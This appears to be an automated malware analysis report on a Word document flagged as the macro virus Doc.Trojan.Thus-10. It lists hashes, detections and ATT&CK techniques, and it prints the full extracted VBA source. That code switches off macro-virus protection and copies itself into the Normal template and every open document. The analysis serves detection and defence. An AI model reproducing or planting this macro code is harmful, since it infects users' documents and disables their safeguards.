Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ecb56ee84188f8cb…

MALICIOUS

Office (OLE)

40.5 KB Created: 2005-08-08 05:58:00 Authoring application: Microsoft Word 9.0 First seen: 2015-08-19
MD5: 7cb73c6d0cbe8a3f0eace628d8de0b78 SHA-1: ee9369b54b9afbcf42bb46ac30e20c8ba20fd48a SHA-256: ecb56ee84188f8cb22858dd3e48bc885d56b475df1c326679962c1c02c50b574
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros that are designed to disable macro virus protection and replicate the malicious code to other documents and templates. This behavior is indicative of a self-propagating macro malware. The ClamAV detection name 'Doc.Trojan.Thus-10' further supports its malicious nature. The document body itself is a benign legislative text, suggesting the macro is the primary malicious component.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2026 bytes
SHA-256: f0ded045b5e46afdddc98699797bb9d871f11b8aac303a2967232b8a3c223bb3
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Step2Project.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Defender'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Defender'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Defender'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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